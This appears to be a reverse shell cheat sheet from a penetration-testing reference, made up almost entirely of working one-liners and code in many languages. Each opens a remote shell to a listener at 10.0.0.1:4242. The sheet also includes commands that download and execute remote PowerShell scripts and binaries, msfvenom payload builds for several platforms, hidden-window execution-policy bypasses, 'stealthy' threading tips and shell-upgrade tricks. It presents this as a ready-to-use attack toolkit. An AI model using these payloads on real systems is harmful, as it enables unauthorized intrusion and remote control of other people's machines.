Reverse Shells
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
[email protected]$ socat file:`tty`,raw,echo=0 TCP-L:4242
[email protected]$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
[email protected]$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Linux only
IPv4
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
IPv4
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Windows only
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
Attacker:
[email protected]$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
[email protected]$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
[email protected]$ ncat --ssl -vv -l -p 4242
[email protected]$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
TLS-PSK (does not rely on PKI or self-signed certificates)
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
NOTE: This is more stealthy
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows and Linux
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
NOTE: This is more stealthy
Thread.start {
// Reverse shell here
}
Compile with
gcc /tmp/shell.c --output csh && csh#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
In order to catch a shell, you need to listen on the desired port.
rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
⚠️ OhMyZSH might break this trick, a simple
sh is recommendedThe main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
or use
socat binary to get a fully tty reverse shellsocat file:`tty`,raw,echo=0 tcp-listen:12345
Spawn a TTY shell from an interpreter
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
- vi:
:!bash - vi:
:set shell=/bin/bash:shell - nmap:
!sh - mysql:
! bash
Alternative TTY method
[email protected]:/dev/shm$ su - user
su: must be run from a terminal
[email protected]:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
[email protected]:/dev/shm$ su - user
Password: P4ssW0rD
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
Server Side:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Client Side:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
Last modified 1yr ago